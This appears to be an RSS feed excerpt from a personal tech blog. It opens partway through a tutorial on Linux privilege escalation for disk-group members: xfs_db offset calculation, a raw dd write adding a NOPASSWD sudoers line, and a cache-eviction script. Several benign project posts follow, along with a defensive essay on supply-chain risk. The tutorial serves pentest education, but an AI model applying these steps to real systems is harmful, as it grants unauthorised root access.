</span></span><span style="display:flex;"><span>BMAP_OUTPUT<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>xfs_db -r $DEVICE -c <span style="color:#e6db74">&#34;inode </span>$INODE<span style="color:#e6db74">&#34;</span> -c <span style="color:#e6db74">&#39;bmap&#39;</span> | grep <span style="color:#e6db74">&#34;startblock&#34;</span><span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Extract AG and block (this assumes format: startblock XXXXX (AG/BLOCK))</span>
</span></span><span style="display:flex;"><span>AG<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>echo <span style="color:#e6db74">&#34;</span>$BMAP_OUTPUT<span style="color:#e6db74">&#34;</span> | sed -n <span style="color:#e6db74">&#39;s/.*(\([0-9]*\)\/[0-9]*).*/\1/p&#39;</span><span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span>BLOCK_IN_AG<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>echo <span style="color:#e6db74">&#34;</span>$BMAP_OUTPUT<span style="color:#e6db74">&#34;</span> | sed -n <span style="color:#e6db74">&#39;s/.*([0-9]*\/\([0-9]*\)).*/\1/p&#39;</span><span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Get agblocks from xfs_db</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># You can find this value by running: xfs_db -r $DEVICE -c &#39;sb 0&#39; -c &#39;print agblocks&#39;</span>
</span></span><span style="display:flex;"><span>AGBLOCKS<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>xfs_db -r $DEVICE -c <span style="color:#e6db74">&#39;sb 0&#39;</span> -c <span style="color:#e6db74">&#39;print agblocks&#39;</span> | awk <span style="color:#e6db74">&#39;{print $3}&#39;</span><span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Calculate</span>
</span></span><span style="display:flex;"><span>ABSOLUTE_BLOCK<span style="color:#f92672">=</span><span style="color:#66d9ef">$((</span>AG <span style="color:#f92672">*</span> AGBLOCKS <span style="color:#f92672">+</span> BLOCK_IN_AG<span style="color:#66d9ef">))</span>
</span></span><span style="display:flex;"><span>BYTE_OFFSET<span style="color:#f92672">=</span><span style="color:#66d9ef">$((</span>ABSOLUTE_BLOCK <span style="color:#f92672">*</span> <span style="color:#ae81ff">4096</span> <span style="color:#f92672">+</span> OFFSET_IN_FILE<span style="color:#66d9ef">))</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">&#34;AG: </span>$AG<span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">&#34;Block in AG: </span>$BLOCK_IN_AG<span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">&#34;Absolute block: </span>$ABSOLUTE_BLOCK<span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">&#34;Byte offset: </span>$BYTE_OFFSET<span style="color:#e6db74">&#34;</span>
</span></span></code></pre></div><p>In order to test this and ensure you have the right offset, always read the file contents first using dd.</p>
<p>Reading the start of the first block of <code>/etc/sudoers</code> with dd to confirm that the offset into the disk is correct</p>
<p><img alt="using dd to read sudoers" loading="lazy" src="/posts/linux-privilege-escalation-disk-group-dd/images/dd-read-sudoers.webp"></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># read 1000 bytes from the data at &lt;BYTE_OFFSET&gt;</span>
</span></span><span style="display:flex;"><span>dd <span style="color:#66d9ef">if</span><span style="color:#f92672">=</span>/dev/dm-0 bs<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span> status<span style="color:#f92672">=</span>none skip<span style="color:#f92672">=</span>&lt;BYTE_OFFSET&gt; count<span style="color:#f92672">=</span><span style="color:#ae81ff">1000</span>
</span></span></code></pre></div><p>If we see the data we expected, it is safe to overwrite. If dd prints something else, recheck your offsets. If you write to the wrong location you could corrupt the filesystem and cause unexpected behavior.</p>
<h3 id="file-writing-privilege-escalation">File writing: Privilege Escalation</h3>
<p>If you are a member of the <code>disk</code> group, but not able to become root or use sudo, you can add yourself to <code>/etc/sudoers</code> to gain full root privileges.</p>
<p>You would want to add the following: <code>YOUR_USERNAME ALL=(ALL) NOPASSWD: ALL</code></p>
<p>replacing <code>YOUR_USERNAME</code> with the username you want to add to sudoers.</p>

    <div class="admonition warning">
      <div class="admonition-header"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 32c14.2 0 27.3 7.5 34.5 19.8l216 368c7.3 12.4 7.3 27.7 .2 40.1S486.3 480 472 480L40 480c-14.3 0-27.6-7.7-34.7-20.1s-7-27.8 .2-40.1l216-368C228.7 39.5 241.8 32 256 32zm0 128c-13.3 0-24 10.7-24 24l0 112c0 13.3 10.7 24 24 24s24-10.7 24-24l0-112c0-13.3-10.7-24-24-24zm32 224a32 32 0 1 0 -64 0 32 32 0 1 0 64 0z"/></svg>
        <span>Warning</span>
      </div>
      <div class="admonition-content">
        <p>Using the <code>dd</code> option <code>conv=notrunc</code> is CRITICAL! without it the filesystem could be truncated!</p>
      </div>
    </div><p><img alt="using dd to write sudoers" loading="lazy" src="/posts/linux-privilege-escalation-disk-group-dd/images/dd-write-sudoers.webp"></p>
<p>Once done, if any program reads the file it may still not see the changes. This is because the kernel has cached the previous version of the file in memory. Since we did not edit the file using the normal system calls, the kernel does not know the file has been changed on disk. We need to tell the kernel to invalidate the cache so that the file is read from disk to see the changes.</p>

    <div class="admonition warning">
      <div class="admonition-header"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 32c14.2 0 27.3 7.5 34.5 19.8l216 368c7.3 12.4 7.3 27.7 .2 40.1S486.3 480 472 480L40 480c-14.3 0-27.6-7.7-34.7-20.1s-7-27.8 .2-40.1l216-368C228.7 39.5 241.8 32 256 32zm0 128c-13.3 0-24 10.7-24 24l0 112c0 13.3 10.7 24 24 24s24-10.7 24-24l0-112c0-13.3-10.7-24-24-24zm32 224a32 32 0 1 0 -64 0 32 32 0 1 0 64 0z"/></svg>
        <span>Warning</span>
      </div>
      <div class="admonition-content">
        <p>If another process attempts to write to the file, it may overwrite your changes and flush the cached version back to disk.</p>
      </div>
    </div><p>The normal way to do this would be to have the kernel be aware of any file changes, for example a <code>touch /path/to/file</code> would normally work, but since we do not have write access to the file in the OS this is not possible.</p>
<p>Another possibility would be to tell the kernel to drop all file system caches, but this still requires root, which we do not yet have:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># This would force the kernel to drop cached file data</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Only the root user can write here, so this would fail</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#ae81ff">3</span> &gt; /proc/sys/vm/drop_caches
</span></span></code></pre></div><p>However, the kernel does allow any user with read access to a file to evict it from the file system cache.</p>
<p>If the <code>vmtouch</code> command is available, you can run <code>vmtouch -e /path/to/file</code> to evict it from the kernel&rsquo;s cache so that the next time the file is accessed a fresh copy is read from disk. If <code>vmtouch</code> is not installed, you can <a href="https://github.com/hoytech/vmtouch">download the source and compile it</a> yourself.</p>
<p>Alternatively, the same can be done with this minimal python script:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#!/usr/bin/env python3
</span></span></span><span style="display:flex;"><span>import os
</span></span><span style="display:flex;"><span>import sys
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> len<span style="color:#f92672">(</span>sys.argv<span style="color:#f92672">)</span> !<span style="color:#f92672">=</span> 2:
</span></span><span style="display:flex;"><span>    print<span style="color:#f92672">(</span>f<span style="color:#e6db74">&#34;Usage: {sys.argv[0]} /path/to/file&#34;</span><span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>    sys.exit<span style="color:#f92672">(</span>1<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>file_path <span style="color:#f92672">=</span> sys.argv<span style="color:#f92672">[</span>1<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>try:
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># You only need read access to open the file</span>
</span></span><span style="display:flex;"><span>    fd <span style="color:#f92672">=</span> os.open<span style="color:#f92672">(</span>file_path, os.O_RDONLY<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>    stat_info <span style="color:#f92672">=</span> os.fstat<span style="color:#f92672">(</span>fd<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># Tell the kernel we don&#39;t need the cache for this file</span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># (from offset 0 to the end of the file)</span>
</span></span><span style="display:flex;"><span>    os.posix_fadvise<span style="color:#f92672">(</span>fd, 0, stat_info.st_size, os.POSIX_FADV_DONTNEED<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    os.close<span style="color:#f92672">(</span>fd<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>    print<span style="color:#f92672">(</span>f<span style="color:#e6db74">&#34;Successfully evicted &#39;{file_path}&#39; from cache.&#34;</span><span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>except FileNotFoundError:
</span></span><span style="display:flex;"><span>    print<span style="color:#f92672">(</span>f<span style="color:#e6db74">&#34;Error: File not found at &#39;{file_path}&#39;&#34;</span><span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>except PermissionError:
</span></span><span style="display:flex;"><span>    print<span style="color:#f92672">(</span>f<span style="color:#e6db74">&#34;Error: No read permission for &#39;{file_path}&#39;&#34;</span><span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>except Exception as e:
</span></span><span style="display:flex;"><span>    print<span style="color:#f92672">(</span>f<span style="color:#e6db74">&#34;An error occurred: {e}&#34;</span><span style="color:#f92672">)</span>
</span></span></code></pre></div><p>After the cache eviction, the next time the file is read the new modified version will be used from disk.</p>
<p><code>sudo -s</code> works!</p>
<p><img alt="using sudo" loading="lazy" src="/posts/linux-privilege-escalation-disk-group-dd/images/using-sudo.webp"></p>
]]></content:encoded></item><item><title>Cloudflare WARP Config Generator</title><link>https://lanrat.com/projects/cloudflare-warp-config-generator/</link><pubDate>Mon, 22 Dec 2025 00:00:00 +0000</pubDate><guid>https://lanrat.com/projects/cloudflare-warp-config-generator/</guid><description>&lt;p&gt;A browser-based and CLI tool for generating WireGuard configurations compatible with Cloudflare WARP. The application generates keypairs locally in the browser or CLI, registers them with Cloudflare&amp;rsquo;s WARP API, and outputs a complete WireGuard configuration file with QR code for easy mobile import.&lt;/p&gt;
&lt;p&gt;All processing happens client-side with no server-side storage. Configuration options include DNS server selection, MTU adjustment, allowed IPs, and persistent keepalive settings. A command-line shell script is also available for terminal-based workflows.&lt;/p&gt;</description><content:encoded><![CDATA[<p>A browser-based and CLI tool for generating WireGuard configurations compatible with Cloudflare WARP. The application generates keypairs locally in the browser or CLI, registers them with Cloudflare&rsquo;s WARP API, and outputs a complete WireGuard configuration file with QR code for easy mobile import.</p>
<p>All processing happens client-side with no server-side storage. Configuration options include DNS server selection, MTU adjustment, allowed IPs, and persistent keepalive settings. A command-line shell script is also available for terminal-based workflows.</p>
<p>Example:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>./scripts/warp-register.sh &gt; warp.conf
</span></span></code></pre></div>]]></content:encoded></item><item><title>MikroTik SwOS Python Library</title><link>https://lanrat.com/projects/mikrotik-swos-python-library/</link><pubDate>Sat, 15 Nov 2025 00:00:00 +0000</pubDate><guid>https://lanrat.com/projects/mikrotik-swos-python-library/</guid><description>&lt;p&gt;Got a bunch of MikroTik switches running SwOS or SwOS Lite with no good way to manage them centrally? This library has you covered.&lt;/p&gt;
&lt;p&gt;Built by reverse engineering the SwOS HTTP API, it provides complete programmatic access to all switch features. Works with both SwOS and SwOS Lite, supports everything from port configs and PoE to VLANs and SNMP settings.&lt;/p&gt;
&lt;p&gt;Comes with a CLI tool for quick lookups and a full Ansible module for managing your entire switch fleet through YAML playbooks. Compatible with CRS305, CRS310, CRS326, CSS610 and other SwOS-based switches.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Got a bunch of MikroTik switches running SwOS or SwOS Lite with no good way to manage them centrally? This library has you covered.</p>
<p>Built by reverse engineering the SwOS HTTP API, it provides complete programmatic access to all switch features. Works with both SwOS and SwOS Lite, supports everything from port configs and PoE to VLANs and SNMP settings.</p>
<p>Comes with a CLI tool for quick lookups and a full Ansible module for managing your entire switch fleet through YAML playbooks. Compatible with CRS305, CRS310, CRS326, CSS610 and other SwOS-based switches.</p>
]]></content:encoded></item><item><title>TRMNL Plugins</title><link>https://lanrat.com/projects/trmnl-plugins/</link><pubDate>Mon, 06 Oct 2025 00:00:00 +0000</pubDate><guid>https://lanrat.com/projects/trmnl-plugins/</guid><description>&lt;p&gt;A collection of custom plugins for &lt;a href="https://trmnl.com/?ref=mrlanrat"&gt;TRMNL&lt;/a&gt; e-ink displays. The repository provides a Docker-based development environment for creating and testing plugins that extend TRMNL functionality.&lt;/p&gt;</description><content:encoded>&lt;p>A collection of custom plugins for &lt;a href="https://trmnl.com/?ref=mrlanrat">TRMNL&lt;/a> e-ink displays. The repository provides a Docker-based development environment for creating and testing plugins that extend TRMNL functionality.&lt;/p>
</content:encoded></item><item><title>Software Supply Chain Security: The Case for Minimal Dependencies</title><link>https://lanrat.com/posts/minimal-dependencies-supply-chain/</link><pubDate>Tue, 23 Sep 2025 09:41:15 -0700</pubDate><guid>https://lanrat.com/posts/minimal-dependencies-supply-chain/</guid><description>A decade of escalating supply chain attacks shows why dependency management isn&amp;#39;t just a technical choice, it&amp;#39;s a security decision. Learn practical strategies for minimizing your attack surface.</description><content:encoded><![CDATA[<p>In 2016, removing an 11-line npm package called left-pad broke thousands of projects worldwide. Nine years later, attackers compromised packages with 2.6 billion weekly downloads using phishing and self-propagating malware.</p>
<h2 id="the-problem-a-decade-of-escalating-supply-chain-attacks">The Problem: A Decade of Escalating Supply Chain Attacks</h2>
<h3 id="timeline">Timeline</h3>
<p><strong>March 2016</strong>: <a href="https://en.wikipedia.org/wiki/Npm_left-pad_incident">Left-pad incident</a> - removing an 11-line dependency broke thousands of projects including Babel and React.</p>
<p><strong>October 2021</strong>: <a href="https://www.bleepingcomputer.com/news/security/popular-npm-library-hijacked-to-install-password-stealers-miners/">ua-parser-js compromise</a> - library with 7M+ weekly downloads hijacked multiple times, injecting cryptocurrency miners and password stealers.</p>
<p><strong>January 2022</strong>: <a href="https://www.bleepingcomputer.com/news/security/dev-corrupts-npm-libs-colors-and-faker-breaking-thousands-of-apps/">colors.js/faker.js sabotage</a> - maintainer intentionally broke packages with 20M+ weekly downloads.</p>
<p><strong>September 2025</strong>: <a href="https://www.wiz.io/blog/shai-hulud-npm-supply-chain-attack">Shai-Hulud attack</a> - 20+ packages including chalk, debug, ansi-styles, and strip-ansi with 2.6B+ weekly downloads compromised through maintainer phishing.</p>
<h3 id="attack-vectors">Attack Vectors</h3>
<ul>
<li><strong>Typosquatting</strong>: Malicious packages with names similar to popular libraries</li>
<li><strong>Dependency Confusion</strong>: Public packages mimicking private internal packages with higher version numbers</li>
<li><strong>Maintainer Account Compromise</strong>: Targeting legitimate maintainer credentials</li>
<li><strong>Subdependency Poisoning</strong>: Compromising lesser-known dependencies deep in the tree</li>
</ul>
<h2 id="minimal-dependencies-in-practice">Minimal Dependencies in Practice</h2>
<p>Dependency management is about making informed choices. npm&rsquo;s micro-package culture creates vast dependency trees, while languages like Go emphasize standard libraries and focused dependencies.</p>

            <link rel="stylesheet" href="/css/vendors/admonitions.53cd9f8afa9d9a8ac09093f668df057bc6d0f4bbd0886f39991a7b99934a7432.css" integrity="sha256-U82fivqdmorAkJP2aN8Fe8bQ9LvQiG85mRp7mZNKdDI=" crossorigin="anonymous">
    <div class="admonition note">
      <div class="admonition-header"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><path d="M0 64C0 28.7 28.7 0 64 0L224 0l0 128c0 17.7 14.3 32 32 32l128 0 0 125.7-86.8 86.8c-10.3 10.3-17.5 23.1-21 37.2l-18.7 74.9c-2.3 9.2-1.8 18.8 1.3 27.5L64 512c-35.3 0-64-28.7-64-64L0 64zm384 64l-128 0L256 0 384 128zM549.8 235.7l14.4 14.4c15.6 15.6 15.6 40.9 0 56.6l-29.4 29.4-71-71 29.4-29.4c15.6-15.6 40.9-15.6 56.6 0zM311.9 417L441.1 287.8l71 71L382.9 487.9c-4.1 4.1-9.2 7-14.9 8.4l-60.1 15c-5.5 1.4-11.2-.2-15.2-4.2s-5.6-9.7-4.2-15.2l15-60.1c1.4-5.6 4.3-10.8 8.4-14.9z"/></svg>
        <span>Note</span>
      </div>
      <div class="admonition-content">
        <p>This post isn&rsquo;t about Node.js/npm versus Go. These principles apply to any language ecosystem, the key is understanding your dependency choices and their security implications regardless of the platform you&rsquo;re using.</p>
      </div>
    </div><h3 id="real-world-examples-of-less-is-more">Real-World Examples of &ldquo;Less is More&rdquo;</h3>
<p>For the libraries I maintain (eg: <a href="https://github.com/lanrat/czds">czds</a> and <a href="https://github.com/lanrat/extsort">extsort</a>), minimal dependencies are a core principle. Sometimes I&rsquo;ll implement something like <a href="https://github.com/lanrat/czds/blob/main/jwt/jwt.go">minimal JWT parsing</a> myself rather than pulling in a full cryptographic library with dozens of dependencies.</p>
<p>The <a href="https://github.com/miekg/dns"><code>github.com/miekg/dns</code></a> Go library demonstrates this perfectly: it&rsquo;s feature-complete for DNS operations but relies only on Go&rsquo;s standard library and a few <code>golang.org/x/</code> packages. Compare this to typical npm packages that can easily pull in 100+ transitive dependencies for similar functionality.</p>
<p>Each dependency is a potential attack vector. Libraries with many dependencies spread trust across countless organizations and individuals.</p>
<h2 id="dependency-decision-framework">Dependency Decision Framework</h2>
<p>Every dependency addition is a decision point. The difference between my JWT implementation and a typical npm approach: 20 lines of focused code versus potentially hundreds of transitive dependencies.</p>
<h3 id="risk-assessment">Risk Assessment</h3>
<p>Before adding any dependency:</p>
<ul>
<li><strong>Scope</strong>: Is this dependency doing more than I need?</li>
<li><strong>Maintenance</strong>: How many maintainers does it have? When was it last updated?</li>
<li><strong>Trust Surface</strong>: How many transitive dependencies does it bring?</li>
<li><strong>Value Ratio</strong>: What&rsquo;s the complexity vs. security impact ratio?</li>
</ul>
<h3 id="implementation-vs-import">Implementation vs. Import</h3>
<p><strong>Implement yourself when:</strong></p>
<ul>
<li>Simple, well-defined functionality (like string padding or basic parsing)</li>
<li>Security-critical code where you need full control</li>
<li>Stable requirements unlikely to change</li>
<li>The &ldquo;wheel&rdquo; being reinvented is actually a simple function</li>
</ul>
<p><strong>Import dependencies for:</strong></p>
<ul>
<li>Complex algorithms you&rsquo;re unlikely to implement correctly</li>
<li>Cryptographic functions requiring specialized expertise</li>
<li>Well-established protocols with extensive edge cases</li>
<li>Libraries with strong track records and minimal dependencies</li>
</ul>
<p>My JWT parsing handles the specific decoding I need without the complexity of a full cryptographic library. The tradeoff: I handle basic token validation, but avoid 50+ dependencies that come with full-featured JWT libraries.</p>
<h3 id="ecosystem-considerations">Ecosystem Considerations</h3>
<p>The npm ecosystem&rsquo;s micro-package culture creates different risks than Go&rsquo;s standard-library approach:</p>
<ul>
<li><strong>npm</strong>: 100+ transitive dependencies for basic functionality is common</li>
<li><strong>Go</strong>: Standard library covers most needs, focused external packages</li>
<li><strong>Python</strong>: Mix of comprehensive standard library and ecosystem packages</li>
<li><strong>Risk</strong>: Each ecosystem&rsquo;s culture shapes your attack surface</li>
</ul>
<h2 id="core-principles">Core Principles</h2>
<ol>
<li>Every dependency is a trust decision - you&rsquo;re trusting not just the library, but its entire dependency tree</li>
<li>Evaluate the value-to-risk ratio - sometimes 10 lines of custom code beats 50 transitive dependencies</li>
<li>Audit what you actually need - many libraries provide far more functionality than you&rsquo;ll use</li>
<li>Factor in long-term maintenance - consider the burden of keeping dependencies updated vs. maintaining focused implementations</li>
</ol>
<h2 id="defensive-strategies">Defensive Strategies</h2>
<p><strong>Dependency Auditing</strong>: Use <code>npm ls</code> or <code>go mod graph</code> to visualize your complete dependency chain. Look for unexpected depth or breadth.</p>
<p><strong>Version Pinning</strong>: Pin exact versions rather than using ranges. This prevents automatic malicious updates but requires active management for security patches.</p>
<p><strong>Vulnerability Scanning</strong>: Integrate tools like <code>npm audit</code>, <code>go mod tidy</code>, or language-specific security scanners into your CI/CD pipeline.</p>
<p><strong>Standard Library First</strong>: Default to language standard libraries when possible. They&rsquo;re maintained by core language teams and have fewer dependencies.</p>
<p><strong>Regular Cleanup</strong>: Periodically audit and remove unused dependencies. Dead code dependencies still represent attack surface without value.</p>
<p>Supply chain attacks have evolved from accidental disruption to targeted campaigns. Every dependency extends trust to its maintainers and their entire dependency tree. Minimal dependencies are essential security practice.</p>
]]></content:encoded></item><item><title>Drouter</title><link>https://lanrat.com/projects/drouter/</link><pubDate>Sun, 21 Sep 2025 00:00:00 +0000</pubDate><guid>https://lanrat.com/projects/drouter/</guid><description>&lt;p&gt;Drouter provides dynamic route injection for Docker containers through label-based configuration. The systemd service monitors Docker containers and automatically configures static routes in their network namespaces without requiring elevated privileges within the containers themselves.&lt;/p&gt;
&lt;p&gt;The system uses Docker labels to specify routing rules and applies them automatically when containers start or stop. This enables complex networking setups where containers need custom routing tables while maintaining security by avoiding privileged container execution for network configuration tasks.&lt;/p&gt;</description><content:encoded>&lt;p>Drouter provides dynamic route injection for Docker containers through label-based configuration. The systemd service monitors Docker containers and automatically configures static routes in their network namespaces without requiring elevated privileges within the containers themselves.&lt;/p>
&lt;p>The system uses Docker labels to specify routing rules and applies them automatically when containers start or stop. This enables complex networking setups where containers need custom routing tables while maintaining security by avoiding privileged container execution for network configuration tasks.&lt;/p>
</content:encoded></item><item><title>Drouter: Dynamic Route Injection for Docker Containers</title><link>https://lanrat.com/posts/drouter-docker-routing/</link><pubDate>Sat, 20 Sep 2025 12:00:00 +0000</pubDate><guid>https://lanrat.com/posts/drouter-docker-routing/</guid><description>A systemd service that automatically adds custom routes to Docker containers using labels, perfect for macvlan networks and complex routing scenarios.</description><content:encoded><![CDATA[<p>When working with Docker containers on complex networks, you often need to add static routes so containers can reach networks that aren&rsquo;t directly connected to their default gateway. This becomes especially important when using <a href="https://docs.docker.com/network/drivers/macvlan/">macvlan</a> network drivers where containers get their own IP addresses on your physical network.</p>
<p>I&rsquo;ve just released <a href="https://github.com/lanrat/drouter">drouter</a>, a lightweight systemd service that solves this problem by automatically injecting routes into Docker containers based on simple labels.</p>
<h2 id="the-problem">The Problem</h2>
<p>Consider this scenario: you&rsquo;re using a macvlan network driver so your containers get real IP addresses on your network (say <code>192.168.1.0/24</code>). Your router is at <code>192.168.1.1</code>, but you have additional internal subnets like <code>10.0.0.0/8</code> that are reachable through a different gateway at <code>192.168.1.254</code>.</p>
<p>Without custom routes, your containers can only reach networks directly connected to their default gateway. Traffic to <code>10.0.0.0/8</code> would fail because the container doesn&rsquo;t know how to route to that network.</p>
<p>Traditional solutions require either:</p>
<ul>
<li>Running containers with <code>NET_ADMIN</code> capabilities (security risk)</li>
<li>Manual route configuration after container startup (not scalable)</li>
<li>Complex init scripts inside containers (maintenance overhead)</li>
</ul>
<h2 id="the-solution">The Solution</h2>
<p>Drouter monitors Docker container events and automatically adds routes to containers based on labels. When a container starts with <code>drouter.routes.*</code> labels, the service enters the container&rsquo;s network namespace and configures the specified routes.</p>
<p>Here&rsquo;s how simple it is to configure:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#75715e"># docker-compose.yml</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">services</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">app</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">image</span>: <span style="color:#ae81ff">nginx</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">networks</span>:
</span></span><span style="display:flex;"><span>      - <span style="color:#ae81ff">macvlan_net</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">labels</span>:
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">drouter.routes.ipv4</span>: <span style="color:#e6db74">&#34;10.0.0.0/8 via 192.168.1.254&#34;</span>
</span></span></code></pre></div><p>Now your container can reach the <code>10.0.0.0/8</code> network through the <code>192.168.1.254</code> gateway, even though it&rsquo;s not the default route.</p>
<h2 id="installation">Installation</h2>
<p>Drouter runs as a systemd service on your Docker host. See the <a href="https://github.com/lanrat/drouter#installation">installation instructions</a> on GitHub for the latest setup steps.</p>
<h2 id="configuration-examples">Configuration Examples</h2>
<h3 id="multiple-routes">Multiple Routes</h3>
<p>You can specify multiple routes using semicolon separation or multi-line format:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#75715e"># Single line with semicolons</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">labels</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">drouter.routes.ipv4</span>: <span style="color:#e6db74">&#34;10.0.0.0/8 via 192.168.1.254;172.16.0.0/12 via 192.168.1.253&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Multi-line format (easier to read)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">labels</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">drouter.routes.ipv4</span>: |<span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    10.0.0.0/8 via 192.168.1.254
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    172.16.0.0/12 via 192.168.1.253</span>
</span></span></code></pre></div><h3 id="ipv6-support">IPv6 Support</h3>
<p>Drouter fully supports IPv6 routing:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">labels</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">drouter.routes.ipv6</span>: <span style="color:#e6db74">&#34;2001:db8::/32 via fe80::1&#34;</span>
</span></span></code></pre></div><h3 id="docker-cli">Docker CLI</h3>
<p>For non-compose deployments:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker run -d <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span>  --label drouter.routes.ipv4<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;10.0.0.0/8 via 192.168.1.254&#34;</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span>  --net macvlan_net <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span>  nginx
</span></span></code></pre></div><h2 id="how-it-works">How It Works</h2>
<p>Drouter uses Docker&rsquo;s event API to monitor container lifecycle events. When a container starts with route labels, it:</p>
<ol>
<li>Detects the container&rsquo;s network namespace</li>
<li>Uses <code>nsenter</code> to enter the namespace</li>
<li>Adds routes with standard <code>ip route add</code> commands</li>
<li>Skips duplicate routes to avoid conflicts</li>
</ol>
<p>The service handles Docker daemon restarts gracefully and doesn&rsquo;t require elevated privileges for the containers themselves.</p>
<h2 id="why-this-matters">Why This Matters</h2>
<p>This approach is particularly valuable for:</p>
<ul>
<li><strong>Macvlan networks</strong>: Containers with real IPs need custom routing for internal networks</li>
<li><strong>Multi-homed environments</strong>: Networks with multiple gateways or complex topologies</li>
<li><strong>Microservices</strong>: Different services needing access to different network segments</li>
<li><strong>Security</strong>: Avoiding <code>NET_ADMIN</code> capabilities in containers</li>
</ul>
<p>Before drouter, I was manually configuring routes or writing custom init scripts. Now it&rsquo;s as simple as adding a label to my compose file.</p>
<p>The source code and detailed documentation are available on <a href="https://github.com/lanrat/drouter">GitHub</a>. Give it a try if you&rsquo;re dealing with complex Docker networking scenarios!</p>
